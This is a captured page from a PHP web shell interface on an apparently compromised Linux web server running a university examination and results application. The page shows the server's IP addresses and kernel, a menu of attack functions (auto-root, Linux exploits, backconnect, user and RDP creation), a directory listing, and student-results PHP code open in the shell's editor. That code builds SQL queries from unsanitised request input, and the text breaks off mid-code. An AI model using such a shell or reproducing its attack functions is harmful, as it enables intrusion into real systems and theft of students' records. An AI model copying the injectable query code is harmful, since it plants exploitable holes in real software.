Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.15.214.238
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
bnu /
Report_details /
[ HOME SHELL ]
Name
Size
Permission
Action
PHPExcel
[ DIR ]
drwxr-xr-x
output
[ DIR ]
drwxr-xr-x
DownloadExamAppFormApplication...
8.64
KB
-rwxr-xr-x
DownloadExamAppFormApplication...
8.11
KB
-rwxr-xr-x
DownloadRvRtAckApplications.ph...
5.26
KB
-rwxr-xr-x
ExcelWriterXML.php
16.29
KB
-rwxr-xr-x
ExcelWriterXML_Sheet.php
15.83
KB
-rwxr-xr-x
ExcelWriterXML_Style.php
23.71
KB
-rwxr-xr-x
HT_017_BA160105.pdf
40.2
KB
-rwxr-xr-x
PrintApplicationFormAdmPOSTOFF...
12.64
KB
-rwxr-xr-x
PrintChallanEntryDetails.php
8.36
KB
-rwxr-xr-x
RvRtApplicationReport.php
8.76
KB
-rwxr-xr-x
ack_exam_app_form_bulk.php
11.63
KB
-rwxr-xr-x
admChallanEntryDetails.php
7.01
KB
-rwxr-xr-x
adm_comb_details.php
6.18
KB
-rwxr-xr-x
admregisterlist.php
15.56
KB
-rwxr-xr-x
admreportlist.php
14.9
KB
-rwxr-xr-x
answer_book_statistics.php
6.79
KB
-rwxr-xr-x
appear_list_center_qp_wise.php
7.33
KB
-rwxr-xr-x
appear_list_qp_wise.php
5.67
KB
-rwxr-xr-x
appfeedetails.php
8.73
KB
-rwxr-xr-x
appfeedetails25022017.php
6.46
KB
-rwxr-xr-x
appfeedetails_pdf.php
7.48
KB
-rwxr-xr-x
appfeedetailspdf.php
7.58
KB
-rwxr-xr-x
approval_report.php
18.59
KB
-rwxr-xr-x
basic_data_coll.php
6.74
KB
-rwxr-xr-x
basic_data_sum.php
6.96
KB
-rwxr-xr-x
batch_wise_details.php
4.45
KB
-rwxr-xr-x
bundle_ despatch_ statement.ph...
5.78
KB
-rwxr-xr-x
bundle_ack.php
9.52
KB
-rwxr-xr-x
bundleno_despatch_statement.ph...
10.8
KB
-rwxr-xr-x
cManualMailer.php
1.45
KB
-rwxr-xr-x
cappcontext.php
2.64
KB
-rwxr-xr-x
cconfig.php
1.14
KB
-rwxr-xr-x
cntDeclaration.php
13.74
KB
-rwxr-xr-x
code39.php
6.38
KB
-rwxr-xr-x
college_degree_details.php
4.57
KB
-rwxr-xr-x
college_pending_markslist.php
6.74
KB
-rwxr-xr-x
fee_summary.php
13.15
KB
-rwxr-xr-x
fee_summary_oldformat.php
7.47
KB
-rwxr-xr-x
fee_summary_report.php
27.95
KB
-rwxr-xr-x
generatePostAdmissionTicket.ph...
28.47
KB
-rwxr-xr-x
getnumword.php
7.43
KB
-rwxr-xr-x
hallticketcomm.php
29.47
KB
-rwxr-xr-x
htstatus.php
6.73
KB
-rwxr-xr-x
iaemptyformat.php
7.1
KB
-rwxr-xr-x
index.php
4.54
KB
-rwxr-xr-x
marklist_studentwise.html
4.29
KB
-rwxr-xr-x
marls_subjectwise.php
10.22
KB
-rwxr-xr-x
mregistry.php
83.61
KB
-rwxr-xr-x
photo_report.php
4.49
KB
-rwxr-xr-x
practical_marks_details.php
12.17
KB
-rwxr-xr-x
practical_marks_report.php
5.45
KB
-rwxr-xr-x
qp_issue.php
7.63
KB
-rwxr-xr-x
reconciliation.php
9.06
KB
-rwxr-xr-x
reg_stud_list.php
8.34
KB
-rwxr-xr-x
report_ack_registration.php
6.4
KB
-rwxr-xr-x
report_adm_combination.php
10.15
KB
-rwxr-xr-x
report_adm_summary.php
8.42
KB
-rwxr-xr-x
report_admission_details.php
26.8
KB
-rwxr-xr-x
report_admission_list.php
17.32
KB
-rwxr-xr-x
report_admission_list_wop.php
10.31
KB
-rwxr-xr-x
report_admission_listnehu.php
24.67
KB
-rwxr-xr-x
report_admission_ticket.php
28.28
KB
-rwxr-xr-x
report_admission_ticket0802201...
36.96
KB
-rwxr-xr-x
report_admission_ticket0811201...
47.36
KB
-rwxr-xr-x
report_admission_ticket1111201...
40.47
KB
-rwxr-xr-x
report_admission_ticket1711201...
42.51
KB
-rwxr-xr-x
report_admission_ticket_201804...
27.76
KB
-rwxr-xr-x
report_admission_ticket_291120...
43.27
KB
-rwxr-xr-x
report_admission_ticket_before...
13.33
KB
-rwxr-xr-x
report_admission_ticket_kus (2...
36.42
KB
-rwxr-xr-x
report_admission_ticket_kus.ph...
16.15
KB
-rwxr-xr-x
report_admission_ticket_new.ph...
36.09
KB
-rwxr-xr-x
report_admission_ticket_nitte....
26.22
KB
-rwxr-xr-x
report_admission_ticketcopy.ph...
32.41
KB
-rwxr-xr-x
report_admission_ticketkswu.ph...
15.07
KB
-rwxr-xr-x
report_admission_ticketold.php
30.03
KB
-rwxr-xr-x
report_admission_ticketold0911...
34.52
KB
-rwxr-xr-x
report_admission_ticketoldform...
30.91
KB
-rwxr-xr-x
report_answer_book_issued.php
8.41
KB
-rwxr-xr-x
report_attendance_sheet.php
12.75
KB
-rwxr-xr-x
report_attendance_shortage.php
9.23
KB
-rwxr-xr-x
report_attendance_shortage_271...
8.99
KB
-rwxr-xr-x
report_attendance_summary.php
7.17
KB
-rwxr-xr-x
report_attendance_summary_back...
7.15
KB
-rwxr-xr-x
report_bacth_preparation_dairy...
7.05
KB
-rwxr-xr-x
report_batch_practical_dairy.p...
15.32
KB
-rwxr-xr-x
report_batch_wise_details.php
7.93
KB
-rwxr-xr-x
report_batch_worksheet_details...
11.18
KB
-rwxr-xr-x
report_bulk_applications.php
26.44
KB
-rwxr-xr-x
report_bulk_applications201020...
25.49
KB
-rwxr-xr-x
report_bulk_applications_09102...
19.42
KB
-rwxr-xr-x
report_bulk_applications_1234....
23.5
KB
-rwxr-xr-x
report_bundle_dispatch.php
10.43
KB
-rwxr-xr-x
report_bundle_dispatch_kusdde....
9.73
KB
-rwxr-xr-x
report_candidate_list.php
29.81
KB
-rwxr-xr-x
report_candidate_list28102017....
29.46
KB
-rwxr-xr-x
report_candidate_list_03112018...
29.08
KB
-rwxr-xr-x
report_candidate_list_backup.p...
29.47
KB
-rwxr-xr-x
report_candidate_list_before_f...
25.19
KB
-rwxr-xr-x
report_candidate_list_before_s...
19.8
KB
-rwxr-xr-x
report_candidate_list_loc.php
25.06
KB
-rwxr-xr-x
report_candidate_list_old.php
25.9
KB
-rwxr-xr-x
report_daliy_report.php
10.88
KB
-rwxr-xr-x
report_daliy_report_qp - Copy....
14.31
KB
-rwxr-xr-x
report_daliy_report_qp.php
10.35
KB
-rwxr-xr-x
report_daliy_report_qp_1312201...
14.73
KB
-rwxr-xr-x
report_daliy_report_qp_2504201...
12.17
KB
-rwxr-xr-x
report_daliy_report_qp_new.php
9.93
KB
-rwxr-xr-x
report_daliy_report_qp_old_for...
10.13
KB
-rwxr-xr-x
report_daliy_report_qp_wait.ph...
9.9
KB
-rwxr-xr-x
report_data_sent.php
8.41
KB
-rwxr-xr-x
report_degree_list.php
4.71
KB
-rwxr-xr-x
report_deviation_report.php
7.67
KB
-rwxr-xr-x
report_evaluation_report.php
9.31
KB
-rwxr-xr-x
report_iamarks_pending.php
8.19
KB
-rwxr-xr-x
report_iamarks_pending_2112201...
6.58
KB
-rwxr-xr-x
report_marks_deviation_report....
5.38
KB
-rwxr-xr-x
report_marks_elementwise.php
4.35
KB
-rwxr-xr-x
report_marks_elementwisenew.ph...
4.67
KB
-rwxr-xr-x
report_marks_entry_student_lis...
5.6
KB
-rwxr-xr-x
report_marks_entry_subjectwise...
10.99
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
13.42
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.13
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
9.16
KB
-rwxr-xr-x
report_marks_entry_subwise_lis...
10.05
KB
-rwxr-xr-x
report_marks_pending.php
12.02
KB
-rwxr-xr-x
report_online_eam.php
11.63
KB
-rwxr-xr-x
report_pr_pending.php
7.48
KB
-rwxr-xr-x
report_practical_marks_details...
13.45
KB
-rwxr-xr-x
report_practical_marks_details...
14.73
KB
-rwxr-xr-x
report_practical_misc.php
8.24
KB
-rwxr-xr-x
report_qpcount_univ.php
5.93
KB
-rwxr-xr-x
report_ra_exl_report.php
5.61
KB
-rwxr-xr-x
report_ra_invigilator_dairy.ph...
22.39
KB
-rwxr-xr-x
report_ra_invigilators_dairy.p...
14.9
KB
-rwxr-xr-x
report_ra_invigilators_dairy24...
8.83
KB
-rwxr-xr-x
report_ra_invigilators_dairy28...
11.95
KB
-rwxr-xr-x
report_ra_qp_wise_student_coun...
7.66
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
10.44
KB
-rwxr-xr-x
report_ra_roomwise_register_no...
7.57
KB
-rwxr-xr-x
report_revaluation.php
6.42
KB
-rwxr-xr-x
report_sectionwiselist.php
4.61
KB
-rwxr-xr-x
report_subject_admcl_list.php
3.48
KB
-rwxr-xr-x
report_subject_general_list.ph...
4.13
KB
-rwxr-xr-x
reportexamcntrdet.php
5.24
KB
-rwxr-xr-x
resport_attendance_studentwise...
5.96
KB
-rwxr-xr-x
results_pdf.php
19.35
KB
-rwxr-xr-x
resultsheet.php
9.29
KB
-rwxr-xr-x
revaluation.php
15.65
KB
-rwxr-xr-x
roomallotmantecelsheet.php
5.41
KB
-rwxr-xr-x
roomallotmantsummary.php
4.69
KB
-rwxr-xr-x
roomwise_register_nos_list.php
18.49
KB
-rwxr-xr-x
rotation.php
596
B
-rwxr-xr-x
s
32.36
KB
-rwxr-xr-x
stringspliter.php
693
B
-rwxr-xr-x
student.php
5.36
KB
-rwxr-xr-x
student_count.php
4.05
KB
-rwxr-xr-x
subject_wise_student_list.php
6.22
KB
-rwxr-xr-x
subjectwise_invigilator_dairy....
10.29
KB
-rwxr-xr-x
tatkal.php
4.8
KB
-rwxr-xr-x
teacher_report.php
9.99
KB
-rwxr-xr-x
teacher_report_org.php
9.9
KB
-rwxr-xr-x
teacher_val_report.php
10.39
KB
-rwxr-xr-x
teacherreport.php
5.96
KB
-rwxr-xr-x
testbarcode.php
19.88
KB
-rwxr-xr-x
topsheet.php
8.41
KB
-rwxr-xr-x
upload.js
29.46
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : results_pdf.php
<?php function generateResults($aobj_context) { session_start(); $FUNIVCODE = $_SESSION['FUNIVCODE']; ini_set("memory_limit",-1); ini_set('max_execution_time',3300); $degree = $aobj_context->mobj_data["degree"]; $regfrom = $aobj_context->mobj_data["regfrom"]; $regto = $aobj_context->mobj_data["regto"]; //var_dump($degree.'---'.$regfrom.'----'.$regto);die(); $main_src = substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); $pdf_writer_class =$main_src."/tcpdf/tcpdf.php"; require_once($pdf_writer_class); $query = "SELECT rm.fregno,rm.fexamno,IF(FSUBSIDARY = 'T',CONCAT(s.FSUBNAME,' **'),s.FSUBNAME) AS FSUBNAME,s.FLTP, SUM(s.FSMAXMARKS) AS FSMAXMARKS, IF(FTHUE='','-',FTHUE) AS FTHUE , IF(FPRUE='','-',FPRUE) AS FPRUE , IF(FTHVV='','-',FTHVV) AS FTHVV , IF(FPRVV='','-',FPRVV) AS FPRVV, IF(FTHIA='','-',FTHIA) AS FTHIA, IF(FPRIA='','-',FPRIA) AS FPRIA, IF(FTHTOT='','-',FTHTOT) AS FTHTOT, IF(FPRTOT='','-',FPRTOT) AS FPRTOT, IF(FTHPASSMTH='','-',FTHPASSMTH) AS FTHPASSMTH, IF(FPRPASSMTH='','-',FPRPASSMTH) AS FPRPASSMTH, IF(FCREDITS = '','-',FCREDITS) AS FCREDITS, IF(IFNULL(FGP,'') = '','-',FGP) AS FGP, IF(IFNULL(FCP,'') = '','-',FCP) AS FCP, IF(IFNULL(FGRADE,'') = '','-',FGRADE) AS FGRADE, IF(IFNULL(FSGPA,'') = '','-',FSGPA) AS FSGPA, IF(IFNULL(FCGPA,'') = '','-',FCGPA) AS FCGPA, FMAXMARKS,FTOTMARKS,FPREVMAX,FPREVTOT,FPERCENT,FCLASS,FMCNUMBER,FYEAR,FEXAMTYPE, FSCHEME FROM resmarks rm INNER JOIN subject s ON s.FDEGREE=rm.FDEGREE AND s.FEXAMNO=rm.FEXAMNO AND s.FSUBCODE=rm.FSUBCODE WHERE rm.FREGNO BETWEEN '{$regfrom}' AND '{$regto}' AND rm.fdegree = '{$degree}' GROUP BY rm.fregno,rm.fexamno,s.FSUBCODE ORDER BY rm.fregno,rm.fexamno,rm.fsubcode"; $results = $aobj_context->mobj_db->GetAll($query); $regnonew = ""; $regnoold = ""; $examold = ""; $examnew = ""; $outregnonew = ""; $outregnoold = ""; $outexamold = ""; $outexamnew = ""; $first = true; $w = 1; foreach($results as $reg_v) { $pdf = new TCPDF();; $pdf->SetMargins(9,10,15); $pdf->aobj_context =$aobj_context ; $pdf->WhichReport = 'AdmissionTicket'; //var_dump($reg_v['fregno']); $regnonew = $reg_v['fregno']; $outregnonew = $reg_v['fregno']; $examnew = $reg_v['fexamno']; $outexamnew = $reg_v['fexamno']; $fscheme = $reg_v['FSCHEME']; $pdf->SetFillColor(248, 248 ,255); $pdf->SetFont('Times','',10); if($regnonew != $regnoold || $examnew != $examold) { $pdf->SetMargins(9,10,15); $pdf->AddPage(); $get_data = "SELECT FRESULT_REMARKS, FUNIVCODE, FREGROLL,IFNULL(FRVFEE,0)+IFNULL(FRTFEE,0)+IFNULL(FXEROXFEE,0)+IFNULL(FCVFEE,0) AS rv_rt_total_fee, s.FDEGREE,d.FDESCPN, s.FEXAMNO,d.FEXAMNAME,s.FCOLLCODE,concat(c.FCOLLNAME,', ', c.FTOWN) as FCOLLNAME,d.FRESEXAMDATE, s.FREGNO,s.FNAME,s.FAYEAR,d.FELIGREM01,d.FELIGREM02,ifnull(s.FFATNAME,'') as FFATNAME,ifnull(s.FMOTNAME,'') as MOTNAME FROM control,student s INNER JOIN college c ON c.FCOLLCODE=s.FCOLLCODE INNER JOIN degree d ON d.FDEGREE=s.FDEGREE where s.FREGNO = '{$reg_v['fregno']}' and d.fexamno = '{$reg_v['fexamno']}'"; $reg_student = $aobj_context->mobj_db->GetRow($get_data); $rv_rt_total_fee = $reg_student['rv_rt_total_fee']; $FDEGREE = $reg_student['FDEGREE']; $FDESCPN = $reg_student['FDESCPN']; $FEXAMNO = $reg_student['FEXAMNO']; $FEXAMDATE = $reg_student['FRESEXAMDATE']; $FEXAMNAME = $reg_student['FEXAMNAME']; $FCOLLCODE = $reg_student['FCOLLCODE']; $FCOLLCODE = $reg_student['FCOLLCODE']; $FCOLLNAME = $reg_student['FCOLLNAME']; $FREGNO = $reg_student['FREGNO']; $FNAME = $reg_student['FNAME']; $FFATNAME = $reg_student['FFATNAME']; $MOTNAME = $reg_student['MOTNAME']; $FAYEAR = $reg_student['FAYEAR']; $FELIGREM01 = $reg_student['FELIGREM01']; $FELIGREM02 = $reg_student['FELIGREM02']; $remarks = $reg_student['FRESULT_REMARKS']; $univcode = $reg_student['FUNIVCODE']; $FREGROLL = $reg_student['FREGROLL']; $tr1=" {$FEXAMNAME} {$FDESCPN} "; $tr4=" {$FEXAMDATE} Examinations"; $tr2=" {$FREGROLL} : {$FREGNO}"; $tr3=" Name of the Student : {$FNAME}"; $pdf->Cell(180,4,$tr1,"0",1,"C"); $pdf->Cell(180,4,$tr4,"0",1,"C"); $pdf->Cell(180,4,$tr2,"0",1,"C"); $pdf->Cell(180,4,$tr3,"0",1,"C"); if($fscheme == 'CR') { $title1 = array('Sl. No.','Subject Name','Th. Pr.', 'Sem. End Exam','Viva','I.A.','Total','Credit Hrs','Grade Points','Credit Points','Result'); $w = array('5','50','5','8','8','8','8','8','8','8','10'); }else { $title1 = array('Sl. <br> No.','Subject Name','Th. <br> Pr.', 'Univ <br> Exam','Viva','I.A.','Total','Remarks'); $title2 = array('No.','','Pr.','Exam','','','',''); $w = array('20','300','25','50','25','30','30','40'); } $html = '<table cellspacing="0" cellpadding="1" border="1"> <tr style="">'; for($i = 0;$i<count($w);$i++) { $html .= '<td width="'.$w[$i].'px" align = "center">'.$title1[$i].'</td>'; } $html .= "</tr></table>"; $length = (count($w) -1); $pdf->writeHTML($html, $ln=false, $fill=true, $reseth=false, $cell=true, $align='L'); $query1 = "SELECT rm.fregno,rm.fexamno,IF(FSUBSIDARY = 'T',CONCAT(s.FSUBNAME,' **'),s.FSUBNAME) AS FSUBNAME,s.FLTP, SUM(s.FSMAXMARKS) AS FSMAXMARKS, IF(FTHUE='','-',FTHUE) AS FTHUE , IF(FPRUE='','-',FPRUE) AS FPRUE , IF(FTHVV='','-',FTHVV) AS FTHVV , IF(FPRVV='','-',FPRVV) AS FPRVV, IF(FTHIA='','-',FTHIA) AS FTHIA, IF(FPRIA='','-',FPRIA) AS FPRIA, IF(FTHTOT='','-',FTHTOT) AS FTHTOT, IF(FPRTOT='','-',FPRTOT) AS FPRTOT, IF(FTHPASSMTH='','-',FTHPASSMTH) AS FTHPASSMTH, IF(FPRPASSMTH='','-',FPRPASSMTH) AS FPRPASSMTH, IF(FCREDITS = '','-',FCREDITS) AS FCREDITS, IF(IFNULL(FGP,'') = '','-',FGP) AS FGP, IF(IFNULL(FCP,'') = '','-',FCP) AS FCP, IF(IFNULL(FGRADE,'') = '','-',FGRADE) AS FGRADE, IF(IFNULL(FSGPA,'') = '','-',FSGPA) AS FSGPA, IF(IFNULL(FCGPA,'') = '','-',FCGPA) AS FCGPA, FMAXMARKS,FTOTMARKS,FPREVMAX,FPREVTOT,FPERCENT,FCLASS,FMCNUMBER,FYEAR,FEXAMTYPE, FSCHEME FROM resmarks rm INNER JOIN subject s ON s.FDEGREE=rm.FDEGREE AND s.FEXAMNO=rm.FEXAMNO AND s.FSUBCODE=rm.FSUBCODE WHERE rm.FREGNO = '{$reg_v['fregno']}' AND rm.fexamno = '{$reg_v['fexamno']}' group by s.FSUBCODE ORDER BY rm.fregno,rm.fexamno,rm.fsubcode"; $results1 = $aobj_context->mobj_db->GetAll($query1); // var_dump($query1); foreach($results1 as $reg_v1) { $FSUBNAME = $reg_v1['FSUBNAME']; $FSMAXMARKS = $reg_v1['FSMAXMARKS']; $FLTP = $reg_v1['FLTP']; $FTHUE = $reg_v1['FTHUE']; $FPRUE = $reg_v1['FPRUE']; $FTHVV = $reg_v1['FTHVV']; $FPRVV = $reg_v1['FPRVV']; $FTHIA = $reg_v1['FTHIA']; $FPRIA = $reg_v1['FPRIA']; $FTHTOT = $reg_v1['FTHTOT']; $FPRTOT = $reg_v1['FPRTOT']; $FGRADE = $reg_v1['FGRADE']; $FTHPASSMTH = trim($reg_v1['FTHPASSMTH']); $FPRPASSMTH = trim($reg_v1['FPRPASSMTH']); $FMAXMARKS = $reg_v1[FMAXMARKS]; $FTOTMARKS = $reg_v1[FTOTMARKS]; $FPREVMAX = $reg_v1[FPREVMAX]; $FPREVTOT = $reg_v1[FPREVTOT]; $FPERCENT = $reg_v1[FPERCENT]; $FCLASS = $reg_v1[FCLASS]; $FMCNUMBER = $reg_v1[FMCNUMBER]; $FYEAR = $reg_v1[FYEAR]; $FEXAMTYPE = $reg_v1[FEXAMTYPE]; $FSCHEME = $reg_v1[FSCHEME]; $FEXAMNO = $reg_v1['FEXAMNO']; $FEXAMNAME = $reg_v1['FEXAMNAME']; $FRESULTDATE = $reg_v1['FRESULTDATE']; $FRESULTSCHEME = $reg_v1['FRESULTSCHEME']; $FCREDITS = $reg_v1['FCREDITS']; $FGP = $reg_v1['FGP']; $FCP = $reg_v1['FCP']; $FSGPA = $reg_v1['FSGPA']; $FCGPA = $reg_v1['FCGPA']; if($FTHUE != "-" && $FPRUE != "-") { $mthprue = "Th. Pr."; $uni_exam = "{$FTHUE} {$FPRUE}"; $mthprue = "Th.<br>Pr."; $uni_exam = GetTdData($FTHUE,$FPRUE); } else if($FTHUE != "-") { $mthprue = "Th."; $uni_exam = "{$FTHUE}"; //$mthprue = GetTdData("Th.",""); $uni_exam = GetTdData($FTHUE,""); } else { $mthprue = "Pr."; $uni_exam = "{$FPRUE}"; //$mthprue = GetTdData("Pr.",""); $uni_exam = GetTdData($FPRUE,""); } if($FTHVV!="-" && $FPRVV!="-") { $viva_exam = GetTdData($FTHVV,$FPRVV); } else if($FTHVV!="-") { $viva_exam = GetTdData($FTHVV,""); } else { $viva_exam = GetTdData($FPRVV,""); } #########viva$######## #########IA######## if($FTHIA!="-" && $FPRIA!="-") { $ia_exam=GetTdData($FTHIA,$FPRIA); } else if($FTHIA != "-") { $ia_exam = GetTdData($FTHIA,""); } else { $ia_exam = GetTdData($FPRIA,""); } #########IA$######## #########TOTAl######## if($FTHTOT!="-" && $FPRTOT!="-") { $total=GetTdData($FTHTOT,$FPRTOT); } else if($FTHTOT != "-") { $total=GetTdData($FTHTOT,""); } else { $total=GetTdData($FPRTOT,""); } #########TOTAl$######## #########Remarks######## //echo strtolower($FTHPASSMTH).'--'.strtolower($FPRPASSMTH); if($univcode == '018') { $FPRPASSMTH=""; } $pass_color = "green;"; if(strtolower($FTHPASSMTH) == strtolower($FPRPASSMTH)) { $remarks = GetTdData1($FTHPASSMTH,""); } else if(strtolower($FTHPASSMTH)=="pass" && strtolower($FPRPASSMTH)=="pass") { $remarks = GetTdData1("Pass",""); } else if(strtolower($FTHPASSMTH)=="fail" && strtolower($FPRPASSMTH)=="fail") { $pass_color = "red;"; $remarks = GetTdData1("Fail",""); } else if(strtolower($FTHPASSMTH)!="-" && strtolower($FPRPASSMTH)=="-") { $remarks = GetTdData1($FTHPASSMTH,""); } else if(strtolower($FTHPASSMTH)=="-" && strtolower($FPRPASSMTH)!="-") { $remarks = GetTdData1($FPRPASSMTH,""); } else { $remarks = GetTdData1($FTHPASSMTH,$FPRPASSMTH); } $title1 = array("{$mthprue}","{$uni_exam}","{$viva_exam}","{$ia_exam}","{$total}"); //$w = array('5','50','8','8','8','8','8','8'); $html = '<table cellspacing="0" cellpadding="1" border="1" > <tr style="">'; $html .= '<td width="'.$w[0].'px" align = "center">'.$z.'</td>'; $html .= '<td width="'.$w[1].'px" align = "left">'.$FSUBNAME.'</td>'; $x = 0; for($i = 2;$i<count($w);$i++) { $html .= '<td width="'.$w[$i].'px" align = "center">'.$title1[$x].'</td>'; $x++; } $html .= "</tr></table>"; $z++; //$pdf->writeHTML($html, $ln=true, $fill=true, $reseth=false, $cell=true, $align='L'); $pdf->writeHTML($html, false, false, false, false, ''); } $regnoold = $reg_v['fregno']; $examold = $reg_v['fexamno']; $pdf->Output($main_src."results/results_".$regnonew."_".$examnew.".pdf","F"); } $w++; //var_dump($reg_v['fregno']); /* if($regnonew != $regnoold || $examnew != $examold) { $pdf->SetFillColor(248, 248 ,255); $pdf->SetFont('Times','',10); $pdf->AddPage(); $pdf->SetMargins(9,10,15); $pdf->Rect(2,05,200,280,'D'); $z = 1; $regnoold = $reg_v['fregno']; $examold = $reg_v['fexamno']; $get_data = "SELECT FRESULT_REMARKS, FUNIVCODE, FREGROLL,IFNULL(FRVFEE,0)+IFNULL(FRTFEE,0)+IFNULL(FXEROXFEE,0)+IFNULL(FCVFEE,0) AS rv_rt_total_fee, s.FDEGREE,d.FDESCPN, s.FEXAMNO,d.FEXAMNAME,s.FCOLLCODE,concat(c.FCOLLNAME,', ', c.FTOWN) as FCOLLNAME,d.FRESEXAMDATE, s.FREGNO,s.FNAME,s.FAYEAR,d.FELIGREM01,d.FELIGREM02,ifnull(s.FFATNAME,'') as FFATNAME,ifnull(s.FMOTNAME,'') as MOTNAME FROM control,student s INNER JOIN college c ON c.FCOLLCODE=s.FCOLLCODE INNER JOIN degree d ON d.FDEGREE=s.FDEGREE where s.FREGNO = '{$reg_v['fregno']}' and d.fexamno = '{$reg_v['fexamno']}'"; $reg_student = $aobj_context->mobj_db->GetRow($get_data); $rv_rt_total_fee = $reg_student['rv_rt_total_fee']; $FDEGREE = $reg_student['FDEGREE']; $FDESCPN = $reg_student['FDESCPN']; $FEXAMNO = $reg_student['FEXAMNO']; $FEXAMDATE = $reg_student['FRESEXAMDATE']; $FEXAMNAME = $reg_student['FEXAMNAME']; $FCOLLCODE = $reg_student['FCOLLCODE']; $FCOLLCODE = $reg_student['FCOLLCODE']; $FCOLLNAME = $reg_student['FCOLLNAME']; $FREGNO = $reg_student['FREGNO']; $FNAME = $reg_student['FNAME']; $FFATNAME = $reg_student['FFATNAME']; $MOTNAME = $reg_student['MOTNAME']; $FAYEAR = $reg_student['FAYEAR']; $FELIGREM01 = $reg_student['FELIGREM01']; $FELIGREM02 = $reg_student['FELIGREM02']; $remarks = $reg_student['FRESULT_REMARKS']; $univcode = $reg_student['FUNIVCODE']; $FREGROLL = $reg_student['FREGROLL']; $tr1=" {$FEXAMNAME} {$FDESCPN} "; $tr4=" {$FEXAMDATE} Examinations"; $tr2=" {$FREGROLL} : {$FREGNO}"; $tr3=" Name of the Student : {$FNAME}"; $pdf->Cell(180,4,$tr1,"0",1,"C"); $pdf->Cell(180,4,$tr4,"0",1,"C"); $pdf->Cell(180,4,$tr2,"0",1,"C"); $pdf->Cell(180,4,$tr3,"0",1,"C"); if($fscheme == 'CR') { $title1 = array('Sl. No.','Subject Name','Th. Pr.', 'Sem. End Exam','Viva','I.A.','Total','Credit Hrs','Grade Points','Credit Points','Result'); $w = array('5','50','5','8','8','8','8','8','8','8','10'); }else { $title1 = array('Sl. <br> No.','Subject Name','Th. <br> Pr.', 'Univ <br> Exam','Viva','I.A.','Total','Remarks'); $title2 = array('No.','','Pr.','Exam','','','',''); $w = array('20','300','25','50','25','30','30','40'); } $html = '<table cellspacing="0" cellpadding="1" border="1"> <tr style="">'; for($i = 0;$i<count($w);$i++) { $html .= '<td width="'.$w[$i].'px" align = "center">'.$title1[$i].'</td>'; } $html .= "</tr></table>"; $length = (count($w) -1); $pdf->writeHTML($html, $ln=false, $fill=true, $reseth=false, $cell=true, $align='L'); } //$html $main_src=substr($_SERVER['SCRIPT_FILENAME'],0,strlen($_SERVER['SCRIPT_FILENAME'])-7); $FSUBNAME = $reg_v['FSUBNAME']; $FSMAXMARKS = $reg_v['FSMAXMARKS']; $FLTP = $reg_v['FLTP']; $FTHUE = $reg_v['FTHUE']; $FPRUE = $reg_v['FPRUE']; $FTHVV = $reg_v['FTHVV']; $FPRVV = $reg_v['FPRVV']; $FTHIA = $reg_v['FTHIA']; $FPRIA = $reg_v['FPRIA']; $FTHTOT = $reg_v['FTHTOT']; $FPRTOT = $reg_v['FPRTOT']; $FGRADE = $reg_v['FGRADE']; $FTHPASSMTH = trim($reg_v['FTHPASSMTH']); $FPRPASSMTH = trim($reg_v['FPRPASSMTH']); $FMAXMARKS = $reg_v[FMAXMARKS]; $FTOTMARKS = $reg_v[FTOTMARKS]; $FPREVMAX = $reg_v[FPREVMAX]; $FPREVTOT = $reg_v[FPREVTOT]; $FPERCENT = $reg_v[FPERCENT]; $FCLASS = $reg_v[FCLASS]; $FMCNUMBER = $reg_v[FMCNUMBER]; $FYEAR = $reg_v[FYEAR]; $FEXAMTYPE = $reg_v[FEXAMTYPE]; $FSCHEME = $reg_v[FSCHEME]; $FEXAMNO = $reg_v['FEXAMNO']; $FEXAMNAME = $reg_v['FEXAMNAME']; $FRESULTDATE = $reg_v['FRESULTDATE']; $FRESULTSCHEME = $reg_v['FRESULTSCHEME']; $FCREDITS = $reg_v['FCREDITS']; $FGP = $reg_v['FGP']; $FCP = $reg_v['FCP']; $FSGPA = $reg_v['FSGPA']; $FCGPA = $reg_v['FCGPA']; if($FTHUE != "-" && $FPRUE != "-") { $mthprue = "Th. Pr."; $uni_exam = "{$FTHUE} {$FPRUE}"; $mthprue = "Th.<br>Pr."; $uni_exam = GetTdData($FTHUE,$FPRUE); } else if($FTHUE != "-") { $mthprue = "Th."; $uni_exam = "{$FTHUE}"; //$mthprue = GetTdData("Th.",""); $uni_exam = GetTdData($FTHUE,""); } else { $mthprue = "Pr."; $uni_exam = "{$FPRUE}"; //$mthprue = GetTdData("Pr.",""); $uni_exam = GetTdData($FPRUE,""); } if($FTHVV!="-" && $FPRVV!="-") { $viva_exam = GetTdData($FTHVV,$FPRVV); } else if($FTHVV!="-") { $viva_exam = GetTdData($FTHVV,""); } else { $viva_exam = GetTdData($FPRVV,""); } #########viva$######## #########IA######## if($FTHIA!="-" && $FPRIA!="-") { $ia_exam=GetTdData($FTHIA,$FPRIA); } else if($FTHIA != "-") { $ia_exam = GetTdData($FTHIA,""); } else { $ia_exam = GetTdData($FPRIA,""); } #########IA$######## #########TOTAl######## if($FTHTOT!="-" && $FPRTOT!="-") { $total=GetTdData($FTHTOT,$FPRTOT); } else if($FTHTOT != "-") { $total=GetTdData($FTHTOT,""); } else { $total=GetTdData($FPRTOT,""); } #########TOTAl$######## #########Remarks######## //echo strtolower($FTHPASSMTH).'--'.strtolower($FPRPASSMTH); if($univcode == '018') { $FPRPASSMTH=""; } $pass_color = "green;"; if(strtolower($FTHPASSMTH) == strtolower($FPRPASSMTH)) { $remarks = GetTdData1($FTHPASSMTH,""); } else if(strtolower($FTHPASSMTH)=="pass" && strtolower($FPRPASSMTH)=="pass") { $remarks = GetTdData1("Pass",""); } else if(strtolower($FTHPASSMTH)=="fail" && strtolower($FPRPASSMTH)=="fail") { $pass_color = "red;"; $remarks = GetTdData1("Fail",""); } else 